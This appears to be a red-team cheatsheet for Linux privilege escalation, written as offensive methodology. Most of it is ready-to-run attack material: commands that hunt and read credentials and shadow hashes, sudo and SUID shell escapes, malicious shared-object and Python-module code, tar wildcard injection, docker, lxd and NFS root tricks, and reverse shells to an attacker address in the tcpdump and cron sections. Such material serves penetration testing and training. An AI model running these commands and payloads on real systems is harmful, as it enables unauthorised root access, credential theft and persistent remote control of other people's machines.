Skip to Content
Red Teaming04-Post-exploitationPrivilege EscalationLinux

Linux Privilege Escalation

Cheatsheet

Situational awareness (first 60 seconds)

# Who am I, where am I, what can I do id; whoami; hostname; pwd cat /etc/os-release; uname -a echo $PATH; env sudo -l # free win if present

Enumeration quick-fire

# Users / groups / shells echo "Passwd" : ;cat /etc/passwd; echo "\nGroups:"; cat /etc/group;echo "\nShells:" ;cat /etc/shells getent passwd {1000..2000} # real users only OR awk -F: '$3 >= 1000 && $3 < 65534 {print $1}' /etc/passwd cat /etc/shadow 2>/dev/null # jackpot if readable # Sudo / SUID / SGID / capabilities sudo -l; sudo -V # sudo version check find / -perm -4000 -type f 2>/dev/null # SUID find / -perm -2000 -type f 2>/dev/null # SGID find / -perm -6000 -type f 2>/dev/null # SUID+SGID getcap -r / 2>/dev/null # capabilities # Cron / timers / running procs cat /etc/crontab; ls -la /etc/cron.* crontab -l 2>/dev/null sudo crontab -l 2>/dev/null # root crontab systemctl list-timers --all ps -eo user,pid,cmd --forest # Writable stuff find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null | grep -v /proc find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null | grep -v /proc # OR find / -type d -perm -0002 ! -perm -1000 2>/dev/null find /etc -type f -perm -o+w 2>/dev/null # writable in /etc = critical # Writable files not owned by current user find / -path /proc -prune -o -writable ! -user $(whoami) -type f 2>/dev/null #history files find / -name ".*history" 2>/dev/null #root owned files find / -writable -user root -type f 2>/dev/null # Network / mounts / NFS ip a; ip route; ss -tulnp; arp -a mount; cat /etc/fstab; cat /etc/exports 2>/dev/null # no_root_squash # Credentials on disk grep -RiE 'pass(word)?|secret|api[_-]?key|token' /etc /home /var/www 2>/dev/null | head -50 find / -type f \( -name 'id_*' -o -name 'authorized_keys' -o -name '*.kdbx' \) 2>/dev/null find / -regextype posix-extended -regex '.*\.(conf|cnf|config|env|ini|xml|ya?ml|bak|old)$' 2>/dev/null # GPG keys find / -path "*/.gnupg/*" 2>/dev/null # Containers cat /proc/1/cgroup; ls -la /.dockerenv 2>/dev/null # service systemctl list-unit-files --type=service find /etc/systemd /usr/lib/systemd -name "*.service" 2>/dev/null # path hijack echo $PATH | tr ':' '\n' | xargs ls -ld

Automated enumeration

# LinPEAS ./linpeas.sh -a 2>&1 | tee /tmp/linpeas.txt # LinEnum ./linEnum.sh -t 2>&1 | tee /tmp/linenum.txt # linux-exploit-suggester ./linux-exploit-suggester.sh 2>&1 | tee /tmp/linux-exploit-suggester.txt # pspy run and look ouut for events that regularly happens like a cron job or some sys events related to sonme service ./pspy64 -pf -i 1000

Methodology

Ask before touching the keyboard: Which user am I? What kernel/OS? What runs as root? What creds hide in files, history, env? What hosts can I reach? What can I read or write that I shouldn’t? Every missed question is a missed root.

Phase 0: Orientation

?

Ask youself

  • Who am I, and what do my privileges and group memberships actually allow?
  • Where am I ? what distro, kernel, and architecture, and is this a container or VM?
  • What is watching me ? auditd, AppArmor/SELinux, shell history ? before I run anything noisy?
  • What can this foothold reach that my attack box cannot (internal services, other subnets)?
  • What credentials, keys, or configs are readable from here?
  • Which privesc path does the current evidence most cheaply enable?
id; whoami; hostname; pwd cat /etc/os-release; uname -a sudo -l # free win if present cat /proc/version # compiler + build date hostnamectl # systemd hosts who -a last -w # login history lastlog | grep -v 'Never' # who has ever logged in finger 2>/dev/null
  • Establish identity and privileges (id, whoami, sudo -l).
  • Fingerprint the host (distro, kernel, arch; record exact kernel for CVE lookup).
  • Note defenses before noisy enumeration (sestatus, aa-status, auditd).
  • Map what this position can reach that your attack box cannot.
  • Sweep for readable credentials, keys, and writable paths.
  • Rank candidate privesc paths simplest and quietest first before committing.

Phase 1: Identity & Environment

?

Ask youself

  • Which groups and shells does my user have, and do any (docker, lxd, disk, adm, shadow) grant near-root?
  • Is any directory early in $PATH writable, enabling a hijack?
  • Does the environment leak secrets or set LD_PRELOAD / LD_LIBRARY_PATH?
  • Is the exact kernel version in a known local-root CVE range?
  • Is tmux/screen installed for a possible session hijack?
# Group membership, writable PATH entries, dangerous env, shells getent group sudo wheel admin docker lxd disk adm 2>/dev/null echo $PATH | tr ':' '\n' | xargs -I{} ls -ld {} 2>/dev/null # writable PATH dirs? env | grep -E 'LD_PRELOAD|LD_LIBRARY_PATH|PYTHONPATH' cat /etc/shells # is tmux/screen installed? cat /etc/shadow 2>/dev/null # readable = crack offline cat /etc/passwd # all accounts cat /etc/passwd | grep -vE 'nologin|false' # real login users cat /etc/group # group membership
  • id && whoami && hostname : establish user, groups, box identity
  • cat /etc/os-release && uname -a : distro, kernel, arch (record exact kernel for CVE lookup)
  • echo $PATH any writable dirs early in PATH?
  • env secrets in environment? LD_PRELOAD / LD_LIBRARY_PATH set?
  • cat /etc/shells is tmux/screen present for session hijack?

Phase 2: Low-Hanging Escalation Vectors

?

Ask youself

  • Does sudo -l show any NOPASSWD, SETENV, or path-relative entry I can abuse immediately?
  • Is any SUID/SGID binary or capability on the GTFOBins list?
  • Do any scheduled jobs run writable scripts, wildcards, or relative commands as root?
  • Is /etc/passwd writable or /etc/shadow readable/writable?
# Sudo, SUID, capabilities, scheduled jobs, passwd/shadow perms sudo -l find / -perm -4000 -type f 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab; ls -la /etc/cron.*; systemctl list-timers --all ./pspy64 -pf -i 1000 grep ':0:' /etc/passwd; ls -l /etc/shadow /etc/passwd
  • sudo -l any NOPASSWD entry is a candidate for GTFOBins 
  • find / -perm -4000 -type f 2>/dev/null SUID, cross-check GTFOBins
  • getcap -r / 2>/dev/null cap_setuid+ep on an interpreter = instant root
  • cat /etc/crontab; ls -la /etc/cron.*; systemctl list-timers writable scripts? wildcards?
  • ./pspy64 (10+ min) catches cron, short-lived procs, relative-PATH calls
  • cat /etc/passwd | grep ':0:' duplicate UID 0 accounts
  • ls -l /etc/shadow /etc/passwd writable? world-readable shadow?

Phase 3: Files, Creds, and Lateral Data

?

Ask youself

  • Are other users’ home directories, SSH keys, or shell histories readable?
  • Do any config files, .env, or backups contain reusable passwords?
  • Do mounts or /etc/exports reveal no_root_squash or disks with creds?
  • Which recovered credential should I spray against su, SSH, and services next?
# Home dirs, history, keys, configs, mounts/exports, disks ls -la /home/* # Hidden files (often creds, keys) find / -type f -name '.*' 2>/dev/null | grep -vE '/(proc|sys)/' find /home -type f -name '.*' -exec ls -la {} \; 2>/dev/null # History files find / -type f \( -name '*_history' -o -name '.*_history' \) -exec ls -la {} \; 2>/dev/null cat /root/.bash_history ~/.bash_history 2>/dev/null find / -name 'id_rsa*' 2>/dev/null cat /etc/fstab; cat /etc/exports 2>/dev/null; mount | grep -v proc lsblk; fdisk -l 2>/dev/null
  • ls -la /home/* other users’ homes readable? SSH keys? bash history?
  • cat ~/.bash_history ~/.zsh_history /root/.bash_history 2>/dev/null passwords typed inline
  • find / -type f \( -name 'id_*' -o -name 'authorized_keys' -o -name '*.kdbx' \) 2>/dev/null : SSH keys to pivot or escalate
  • Config hunt: /var/www, /opt, /etc/*.conf, .env, wp-config.php, .git/config
  • cat /etc/fstab && cat /etc/exports 2>/dev/null && mount | grep -v proc, NFS no_root_squash, mounted disks with creds
  • lsblk && fdisk -l 2>/dev/nullunmounted partitions with data

Phase 4: Services, Network, packages and Containers

?

Ask youself

  • Which localhost-only services are running, and are they weakly authenticated?
  • Do any root-owned processes run custom binaries I can influence?
  • Does this host bridge subnets that make it a pivot point?
  • Am I inside a container, and if so is it privileged or does it mount the host?
# Network posture ip a; ip route # interfaces + routes ss -tulnp # listening sockets + PIDs ss -anp | grep ESTAB # active connections cat /etc/resolv.conf # internal DNS? AD hint cat /etc/hosts # internal name resolution arp -a; ip neigh # peers recently talked to netstat -rn 2>/dev/null || route -n ls /.dockerenv 2>/dev/null; grep -i docker /proc/1/cgroup #wuick docker container check cat /proc/self/status | grep Cap # then decode the hex to see if it's privileged capsh --decode=<hex> # services ps auxf # full tree ps -eo user,pid,cmd | grep -v ']' | grep '^root' # root-owned procs systemctl list-units --type=service --state=running systemctl list-timers --all # modern day cron replacement # packages # Debian/Ubuntu apt list --installed 2>/dev/null | tr '/' ' ' | awk '{print $1, $3}' > /tmp/pkgs.list # RHEL/CentOS/Fedora rpm -qa --queryformat '%{NAME} %{VERSION}\n' > /tmp/pkgs.list # Cross-reference with GTFOBins for b in $(curl -s https://gtfobins.github.io/api.json | jq -r '.executables|keys[]'); do grep -q "^$b " /tmp/pkgs.list && echo "[GTFO candidate] $b" done
  • ss -tulnp | grep 127.0.0.1 localhost-only services are often weakly authenticated
  • ps -eo user,pid,cmd --forest | grep -v ']' | head -50 root processes with interesting binaries
  • ip a && ip route && arp -a pivot targets, other subnets
  • ls /.dockerenv 2>/dev/null; grep -i docker /proc/1/cgroup inside container?
  • id | grep -E 'docker|lxd|disk|adm' privileged groups = near-root
  • cat /proc/self/status | grep Cap CapEff: 0000003fffffffff = privileged container

Phase 5: Automation Fallback

?

Ask youself

  • Have I exhausted the manual checks above before leaning on automated output?
  • Which red/yellow LinPEAS lines map to a vector I have not yet tested?
  • Does the kernel match any suggester CVE, and is a kernel exploit truly the last resort?
  • What did automation catch that my manual pass missed, and why?
# Automated enumeration + kernel CVE matching curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash -s -- -a 2>&1 | tee /tmp/linpeas.txt ./linux-exploit-suggester.sh
  • Run LinPEAS (-a), tee output, read all red/yellow
  • Run linux-exploit-suggester against uname -r
  • Diff LinPEAS findings against this checklist LinPEAS catches obscure stuff (pmedit, dbus policies) the manual list doesn’t

How linux stores passwords

The /etc/passwd format is user:password:UID:GID:GECOS:home:shell. A :0: in the third field on anything but root is a deliberate or accidental backdoor. A $6$-prefixed hash in field 2 of /etc/passwd (instead of x) is crackable without needing /etc/shadow access

Hash prefixAlgorithmCracks well with
$1$MD5 crypthashcat -m 500
$5$SHA-256 crypthashcat -m 7400
$6$SHA-512 crypthashcat -m 1800
$2a$ / $2b$ / $2y$bcrypthashcat -m 3200
$7$scrypthashcat -m 8900
$y$yescrypthashcat -m 30700
$argon2i$ / $argon2id$Argon2john, very slow

Credential Hunting

Where creds actually live

# Web app configs find /var/www -type f \( -name 'wp-config.php' -o -name '.env' -o -name 'config.php' -o -name 'settings.py' -o -name 'web.config' \) 2>/dev/null grep -RiE 'password|passwd|pwd|secret|api[_-]?key|token|db_pass' /var/www 2>/dev/null | head -30 # Config files anywhere find / -type f \( -name '*.conf' -o -name '*.config' -o -name '*.cnf' -o -name '*.ini' -o -name '*.yaml' -o -name '*.yml' \) 2>/dev/null | xargs grep -liE 'pass|secret|token|key' 2>/dev/null # Bash history (every user) find /home /root -name '.*_history' -exec cat {} \; 2>/dev/null # Git repos and config find / -name '.git' -type d 2>/dev/null find / -name '.git-credentials' 2>/dev/null # SSH material find / -name 'id_rsa*' -o -name 'id_ed25519*' -o -name 'id_ecdsa*' 2>/dev/null find / -name 'authorized_keys' -o -name 'known_hosts' 2>/dev/null cat /home/*/.ssh/known_hosts 2>/dev/null # pivot targets # Mail and spool ls -la /var/mail /var/spool/mail 2>/dev/null # Keepass, kwallet, browser password stores find / \( -name '*.kdbx' -o -name '*.kdb' -o -name 'Login Data' \) 2>/dev/null # Backup files with creds find / -regex '.*\.\(bak\|old\|backup\|orig\|save\|~\)$' -type f 2>/dev/null

The known_hosts file lists every host the user has SSH’d into. Cross-reference entries against any private keys you find a matching id_rsa for stacey.jenkins plus a known_hosts entry for dc01.corp.local is a silent lateral move waiting to happen.

?

Why try every recovered password against every user and every service, not just the one it belonged to? Humans reuse passwords. A MySQL root password from a WordPress install is often the same as the admin’s SSH key passphrase, and sometimes the domain admin’s first password before rotation. Credential spraying across the host (and the wider network, once pivoting begins) is the single highest-ROI activity in post-exploitation.

Sudo Abuse

sudo runs a command as another user (usually root) after checking /etc/sudoers. Every entry is an authorization decision, and nearly every authorization decision can be misconfigured. Start with sudo -l. Entries with NOPASSWD show without needing the current user’s password; entries without it need the password (often obtainable from config files, history, or password spraying).

Parsing sudo -l output

sudo -l # Matching Defaults entries for htb-student on NIX02: # env_reset, mail_badpass, # secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, # env_keep+=LD_PRELOAD # # User htb-student may run the following commands on NIX02: # (root) NOPASSWD: /usr/sbin/apache2 restart
FieldMeaning
(root)Command runs as this user (could be any user)
NOPASSWD:No password required immediate
SETENV:Caller can set arbitrary environment variables (huge LD_PRELOAD, PYTHONPATH)
! prefixExplicitly denied command (watch for bypasses around it)
env_keep+=VARVariable is preserved across sudo invocation (LD_PRELOAD/LD_LIBRARY_PATH is common)
secure_path=PATH used when running sudo’d commands (ignores caller’s PATH unless absolute)

Direct GTFOBins abuse

Every binary in sudo -l is a candidate. Check gtfobins.github.io/#+sudo 

# A selection of the most common sudo vim -c ':!/bin/bash' sudo less /etc/profile # then: !/bin/bash sudo find . -exec /bin/bash -p \; -quit sudo awk 'BEGIN{system("/bin/bash")}' sudo python3 -c 'import os;os.system("/bin/bash")' sudo perl -e 'exec "/bin/bash";' sudo ruby -e 'exec "/bin/bash"' sudo env /bin/bash sudo man man # then: !/bin/bash sudo git -p help config # if pager, !/bin/bash sudo zip /tmp/x.zip /etc/hosts -T --unzip-command='sh -c /bin/bash' sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

tcpdump postrotate abuse

tcpdump -z runs an arbitrary command after each rotated capture file. If a sudo entry grants tcpdump, it is almost always a root shell:

# Attacker nc -lvnp 443 # Target cat > /tmp/.x <<'EOF' rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <IP> 443 >/tmp/f EOF chmod +x /tmp/.x sudo /usr/sbin/tcpdump -ln -i any -w /dev/null -W 1 -G 1 -z /tmp/.x -Z root

AppArmor profiles in Ubuntu 20.04+ restrict the binaries that -z can invoke. If the command fails with an AppArmor denial, check /etc/apparmor.d/usr.sbin.tcpdump and fall back to another vector.

LD_PRELOAD preserved in sudo

If sudo -l shows env_keep+=LD_PRELOAD, any sudo’d binary loads a shared object you control first:

// /tmp/pwn.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); # -p coz modern day bash drops privileges when launched with SUID unless called with `-p`. Always use `bash -p` in your payloads, and test that `id` actually reports `uid=0(root)` after the spawn not just `euid=0`. }
gcc -fPIC -shared -nostartfiles -o /tmp/pwn.so /tmp/pwn.c sudo LD_PRELOAD=/tmp/pwn.so /usr/sbin/apache2 restart

LD_LIBRARY_PATH preserved in sudo

Same pattern but target a specific shared object the sudo’d binary actually links:

ldd /usr/sbin/apache2 | head #find a real dep, e.g., libcrypt.so.1 # Compile a malicious libcrypt.so with an init constructor, then: sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 restart

Sudo CVEs

a lot of older sudo verions have pri esc CVE’s

CVEAffectedDetectionEffect
CVE-2021-3156 (Baron Samedit)sudo < 1.9.5p2sudoedit -s '\' $(perl -e 'print "A" x 65536') crash = vulnHeap overflow → root without password
CVE-2019-14287sudo < 1.8.28sudo -l shows (ALL, !root) or user-restricted runassudo -u#-1 <cmd> treats -1 as UID 0
CVE-2019-18634sudo < 1.8.26, pwfeedback enabledsudo -l shows pwfeedback defaultStack overflow → root
CVE-2023-22809sudo 1.8.0–1.9.12p1 with sudoeditsudo -l shows sudoeditEDITOR env contains -- to escape path restriction
# Check sudo version to triage sudo -V

SUID / SGID Binaries

When the SUID bit is set, a program runs with the file owner’s privileges (usually root) regardless of who launched it. That is intentional for /bin/su and /usr/bin/passwd, but a common source of escalation when developers set the bit on custom binaries, archaic utilities, or anything listed on GTFOBins. The setgid bit does the same with the file’s group.

# Find all SUID (owner-execute-as-owner) find / -perm -4000 -type f 2>/dev/null # Find SUID owned by root (the ones that matter) find / -user root -perm -4000 -type f -exec ls -la {} \; 2>/dev/null # Find SGID find / -perm -2000 -type f 2>/dev/null # Both bits set find / -perm -6000 -type f 2>/dev/null

Analyzing unknown SUID binaries

# Static: what does it call? strings /path/to/suid | grep -E '(^/|exec|system|popen|fopen)' # Dynamic: library calls ltrace /path/to/suid 2>&1 | head -40 # Syscalls strace /path/to/suid 2>&1 | head -100 # Libraries and runpath ldd /path/to/suid readelf -d /path/to/suid | grep -E 'RPATH|RUNPATH'

PATH hijack (SUID calls relative command)

If strings reveals the binary calls something like service or curl without an absolute path, hijack PATH:

cd /tmp cat > service <<'EOF' #!/bin/bash /bin/bash -p EOF chmod +x service export PATH=/tmp:$PATH /path/to/suid

Modern bash drops privileges when launched with SUID unless called with -p. Always use bash -p in your payloads, and test that id actually reports uid=0(root) after the spawn not just euid=0.

Shared object injection (missing dependency)

# Trace for missing .so loads strace /path/to/suid 2>&1 | grep -E 'open.*\.so.*ENOENT' # Look for: open("/path/missing.so", O_RDONLY) = -1 ENOENT (No such file or directory)
// hijack.c #include <stdio.h> #include <stdlib.h> static void inject() __attribute__((constructor)); void inject() { setuid(0); system("/bin/bash -p"); }
gcc -shared -fPIC -o /path/to/missing.so hijack.c /path/to/suid

RUNPATH shared object hijacking

If a SUID binary has a writable directory in its RUNPATH, drop a malicious library with the right name and it loads with root privileges:

readelf -d /path/to/suid | grep RUNPATH # 0x1d (RUNPATH) Library runpath: [/development] ls -ld /development # writable? # 1) Find the function name the binary imports ldd /path/to/suid # libshared.so => /development/libshared.so ./suid # undefined symbol: dbquery # 2) Implement that symbol in a new library cat > /tmp/src.c <<'EOF' #include <stdio.h> #include <stdlib.h> #include <unistd.h> void dbquery() { setuid(0); system("/bin/sh -p"); } EOF gcc -fPIC -shared -o /development/libshared.so /tmp/src.c /path/to/suid # now root
?

What is the difference between RPATH and RUNPATH, and why does it matter for exploitation? RPATH is checked before LD_LIBRARY_PATH, RUNPATH after. Newer toolchains prefer RUNPATH, which means the hardening advice “never bake in a writable rpath” is still frequently violated by developers copying old build scripts. When you see a RUNPATH pointing at /opt/app/lib or /development, check the directory permissionsthat is the intended injection point.

Linux Capabilities

Any binary with a dangerous capability set is near-root without ever triggering the SUID bit so find -perm -4000 misses it. Enumerate with getcap -r /. The attacker-relevant shortlist:

CapabilityWhat it grantsTypical escalation
cap_setuid+epArbitrary UID changeInterpreter → setuid(0) → root shell
cap_setgid+epArbitrary GID changePair with setuid for full root
cap_dac_read_search+epBypass file read/search permscat shadow, tar arbitrary files
cap_dac_override+epBypass file read/write/execute permsEdit /etc/passwd via vim.basic
cap_sys_admin+epNear-total root mount, namespaces, keyringsFull escape
cap_sys_ptrace+epAttach/inject into other processesInject shellcode into root process
cap_sys_module+epLoad kernel modulesRootkit, direct kernel code execution
cap_net_raw+epRaw sockets / packet craftingNetwork-level attacks, sniffing
cap_chown+epArbitrary file ownership changeTake over /etc/shadow, root-owned scripts
# Find all capability-bearing binaries getcap -r / 2>/dev/null getcap -r /usr/bin /usr/sbin /usr/local/bin /opt 2>/dev/null # Confirm on a specific binary getcap /usr/bin/python3.8

Common capability exploits

# cap_setuid+ep on python3 /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/bash","bash","-p")' # cap_setuid+ep on perl /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";' # cap_dac_override+ep on vim.basic rewrite /etc/passwd root line, su root echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd su root # no password # cap_dac_read_search+ep on tar exfiltrate shadow /usr/bin/tar -cf /tmp/shadow.tar /etc/shadow cat /tmp/shadow.tar | strings | grep '^root:'
?

Why is cap_setuid+ep on an interpreter equivalent to SUID root? Because the interpreter can call setuid(0) directly from user code. A SUID bit requires the kernel to elevate at exec time; a cap_setuid capability lets the already-running process request UID change whenever it wants. The result is identical: root shell, lower visibility (no SUID bit to be noticed by find -perm -4000).

PATH Abuse

PATH is the ordered list of directories searched for executables. Three abuse patterns exist:

  1. Writable directory early in a privileged user’s PATH : drop a malicious binary with a common name (ls, curl) and wait for execution.
  2. Script running as root calls a relative command : same technique, targeted at a specific script’s PATH.
  3. SUID binary calls a command without absolute path : hijack via the current shell’s PATH before invocation (see SUID section).
# Inspect current PATH echo $PATH echo $PATH | tr ':' '\n' | xargs -I {} ls -ld {} 2>/dev/null # any writable dirs? # Add . (current dir) to PATH :classic self-foot-gun, sometimes seen in scripts PATH=.:$PATH; export PATH

Example: root script calls bare command

# A root cron runs /opt/check.sh which contains: service apache2 status # /opt is owned by the user group, but /usr/local/bin (in root's PATH) is writable by our user cat > /usr/local/bin/service <<'EOF' #!/bin/bash cp /bin/bash /tmp/rb; chmod u+s /tmp/rb EOF chmod +x /usr/local/bin/service # Wait for cron, then /tmp/rb -p

Wildcard Abuse

Shell wildcards are expanded to filenames before the target command sees them. If a privileged process runs something like tar czf backup.tgz * in a directory you can write to, you can create filenames that look like command-line options and trick the binary into executing code.

The canonical tar wildcard trick

# Privileged cron: cd /home/app && tar czf /backup/app.tgz * # Assumption: you can write to /home/app echo 'cp /bin/bash /tmp/rb; chmod u+s /tmp/rb' > /home/app/shell.sh chmod +x /home/app/shell.sh cd /home/app touch -- '--checkpoint=1' touch -- '--checkpoint-action=exec=sh shell.sh' # Next tar run, root executes shell.sh; then /tmp/rb -p

Other wildcard-abusable commands

CommandFlag that executes code
tar--checkpoint-action=exec=CMD
rsync-e CMD (treats as remote shell command)
chown / chmod--reference=FILE (crafted file ownership/mode leak)
zip--unzip-command='sh -c CMD' (postprocess)
scpLimited : but globbing can overwrite unintended files
?

Why does touch -- '--checkpoint=1' work where touch '--checkpoint=1' fails? The -- separator tells the shell (and touch) to stop parsing flags. Without it, touch interprets --checkpoint=1 as its own flag and errors. With it, the literal filename --checkpoint=1 is created on disk and when tar * expands later, that filename is handed to tar as an argument, which tar happily parses as its own flag.

Cron Job Abuse

Cron misconfigurations are one of the most common Linux privesc vectors because ops teams routinely write quick backup/health scripts that run as root, then forget they exist. Look for three things: a cron-scheduled script you can write to, a script that uses wildcards in a writable directory, or a cron that runs commands without absolute paths.

# System-wide cron cat /etc/crontab ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly # Per-user crontabs (usually root-only readable) ls -la /var/spool/cron /var/spool/cron/crontabs 2>/dev/null # Systemd timers (modern replacement for some cron jobs) systemctl list-timers --all # anacron cat /etc/anacrontab 2>/dev/null # Catch short-lived jobs without root — pspy ./pspy64 -pf -i 1000 | tee /tmp/pspy.log

Writable cron script

ls -la /path/to/cron_script.sh # world-writable? cp /path/to/cron_script.sh /tmp/cron_script.sh.bak # ALWAYS back up first # Append a reverse shell, preserving existing behavior echo 'bash -i >& /dev/tcp/<IP>/4444 0>&1' >> /path/to/cron_script.sh

Cron PATH abuse (relative command names)

Cron jobs often specify a custom PATH= at the top of /etc/crontab. If any directory in that PATH is writable and the cron runs a bare command (backup.sh rather than /usr/local/sbin/backup.sh), hijack it:

# /etc/crontab: # PATH=/home/user:/usr/local/sbin:/usr/local/bin # */5 * * * * root backup.sh cat > /home/user/backup.sh <<'EOF' #!/bin/bash chmod u+s /bin/bash EOF chmod +x /home/user/backup.sh # Wait 5 minutes bash -p

Cron wildcard abuse

See Wildcard Abuse. Any tar * /path running as root is an almost-guaranteed root shell. Confirm the schedule with pspy before acting : you often cannot read the crontab.

  • Always take a backup of the script before editing (cp script.sh /tmp/script.sh.bak)
  • Always append rather than replace. A broken backup job at 03:00 on a prod box is exactly the kind of anomaly that pages an admin before the cron re-runs.

Quiz

You land on a box, run pspy, and see `/usr/sbin/CRON` spawning `/bin/sh -c /opt/scripts/cleanup.sh` every 3 minutes as UID 0. `/opt/scripts/cleanup.sh` is owned by root and 644 (not writable). Its contents: `cd /tmp/work && tar czf /var/backups/work.tgz *`. You can write to `/tmp/work`. What's the fastest path to root?

Privileged Groups

Group membership is an easy thing to audit and an easy thing to forget. Several Linux groups are equivalent to root for practical purposes check id first.

docker group

Membership in docker gives you full, passwordless use of the Docker daemon, which runs as root. The daemon will happily start a container with the host filesystem mounted.

id | grep docker # Mount host / into container /mnt, chroot, and you're root on the host docker run -v /:/mnt --rm -it alpine chroot /mnt bash # Alternate image if alpine isn't available docker images # list locally cached docker run -v /:/mnt --rm -it <image> chroot /mnt /bin/sh

lxd / lxc group

Same pattern as docker via LXD: import a tiny image, run it privileged, mount the host root in.

id | grep -E 'lxd|lxc' # Use a minimal Alpine image (download on attacker, or use lxc-image-import) # On attacker: git clone https://github.com/saghul/lxd-alpine-builder cd lxd-alpine-builder && ./build-alpine # Transfer alpine-*.tar.gz to target, then: lxc image import alpine-*.tar.gz --alias alpine lxc init alpine r00t -c security.privileged=true lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true lxc start r00t lxc exec r00t /bin/sh # Inside container: cd /mnt/root && cat etc/shadow

disk group

Members of disk have raw read/write to /dev/sd* etc. With debugfs you can read any file on the filesystem — including /etc/shadow and SSH keys even though you are not root:

id | grep disk debugfs /dev/sda1 # debugfs: cat /etc/shadow # debugfs: cat /root/.ssh/id_rsa

adm group

Members of adm read everything in /var/log. Not directly root, but often contains failed sudo lines with typoed passwords, credentials in application logs, and evidence of running cron jobs to pivot against.

id | grep adm grep -ri 'pass\|token\|key' /var/log 2>/dev/null | head -40

shadow group

Members of shadow can read /etc/shadow directly crack root’s hash offline.

id | grep shadow cat /etc/shadow
?

A dev says “we add everyone to the docker group on build servers for convenience.” What’s your one-liner for the report? Docker group membership is equivalent to root. Any user who can issue dockker commands owns the host. Mitigations are rootless Docker, a dedicated build user with sudo-scoped docker commands, or Podman (which doesn’t carry the same daemon-root model). The group should be treated as an admin group in access reviews.

NFS no_root_squash

NFS by default squashes remote root to an unprivileged nfsnobody user when clients connect as root. Sharing a directory with no_root_squash disables that files written by a client’s root user are owned by real root on the server, including files with the SUID bit set.

# Target side cat /etc/exports # /srv/share *(rw,no_root_squash,sync) # Attacker side (needs local root) showmount -e <TARGET_IP> mkdir /tmp/nfs sudo mount -t nfs <TARGET_IP>:/srv/share /tmp/nfs # Create a SUID shell cat > /tmp/shell.c <<'EOF' #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(void){ setuid(0); setgid(0); execl("/bin/bash","bash","-p",NULL); } EOF gcc /tmp/shell.c -o /tmp/nfs/pwn sudo chown root:root /tmp/nfs/pwn sudo chmod 4755 /tmp/nfs/pwn # On target (any user) /srv/share/pwn # uid=0(root)

This technique requires local root on the attacking host so the mount is made with root’s identity. On a Pwnbox/Kali it’s trivial; on a shared jump box, ensure you own that host first. The no_root_squash option is enforced server-side you cannot set it on your own client mount.

Shared Library Attacks

The dynamic linker resolves .so dependencies at runtime using a prioritized path search. Every priority bump is an attack surface. The three dominant vectors:

  1. LD_PRELOAD :a user-controlled library loaded before anything else (needs sudo env preservation or a misconfigured service).
  2. RPATH / RUNPATH "" compile-time-baked search paths. If writable, drop a malicious .so there.
  3. Missing library : the linker fails, but if you can create the expected library, it loads next run.
# Non-sudo LD_PRELOAD: target runs with LD_PRELOAD in its environment (e.g. a misconfigured systemd service) cat /proc/<pid>/environ | tr '\0' '\n' | grep LD_ # Identify the vector with ldd / readelf ldd /path/to/target_binary readelf -d /path/to/target_binary | grep -E 'RPATH|RUNPATH|NEEDED'

For the sudo LD_PRELOAD case see Sudo Abuse; for the writable-runpath chain see SUID → RUNPATH hijacking.

Python Library Hijacking

Python scripts running with elevated privileges (SUID python wrapper, sudo-allowed script, cron-scheduled root job) import modules using a priority-ordered search path. If any of those paths is writable, or the script’s imported module itself is writable, the hijack is straightforward.

Three hijack primitives

  1. Writable installed module : edit the module itself, inject os.system(...) into the function the script calls.
  2. Writable higher-priority path : drop a shadow module with the same name earlier in sys.path.
  3. PYTHONPATH preserved across sudo : prepend a user-controlled directory and place the shadow module there.

Primitive 1 : writable module file

# mem_status.py runs SUID root and contains: import psutil; psutil.virtual_memory() pip3 show psutil | grep Location # /usr/local/lib/python3.8/dist-packages ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py # -rw-r--rw- 1 root staff ... __init__.py # world-writable # Edit the function the script calls sed -i '/^def virtual_memory/a\ import os; os.system("/bin/bash -p")' \ /usr/local/lib/python3.8/dist-packages/psutil/__init__.py # Trigger (SUID or sudo run of the script) sudo /usr/bin/python3 /opt/mem_status.py # uid=0(root)

Primitive 2 : writable high-priority path

python3 -c 'import sys; print("\n".join(sys.path))' # /usr/lib/python38.zip # /usr/lib/python3.8 # /usr/lib/python3.8/lib-dynload # /usr/local/lib/python3.8/dist-packages # /usr/lib/python3/dist-packages ls -ld /usr/lib/python3.8 # writable? good # Drop a shadow psutil.py in that directory cat > /usr/lib/python3.8/psutil.py <<'EOF' import os def virtual_memory(): os.system('id; /bin/bash -p') EOF sudo /usr/bin/python3 /opt/mem_status.py

Primitive 3 : PYTHONPATH preserved across sudo

sudo -l # User may run the following commands: # (ALL) SETENV: NOPASSWD: /usr/bin/python3 cat > /tmp/psutil.py <<'EOF' import os def virtual_memory(): os.system('/bin/bash -p') EOF sudo PYTHONPATH=/tmp /usr/bin/python3 /opt/mem_status.py
?

Why does primitive 2 work even when pip puts modules in a lower-priority path? sys.path is checked in order, first-match-wins. /usr/lib/python3.8 comes before dist-packages in the default order, so a shadow psutil.py there wins against the real install. The assumption “pip installed it so it’s the canonical module” quietly fails when an earlier directory exists and is writable : often because a package was manually extracted there years ago and forgotten.

Logrotate : logrotten

Older logrotate versions (3.8.6, 3.11.0, 3.15.0, 3.18.0) race-condition when rotating files the attacker can control. If you can write to a log file that root rotates, logrotten wins the race and executes an arbitrary command as root.

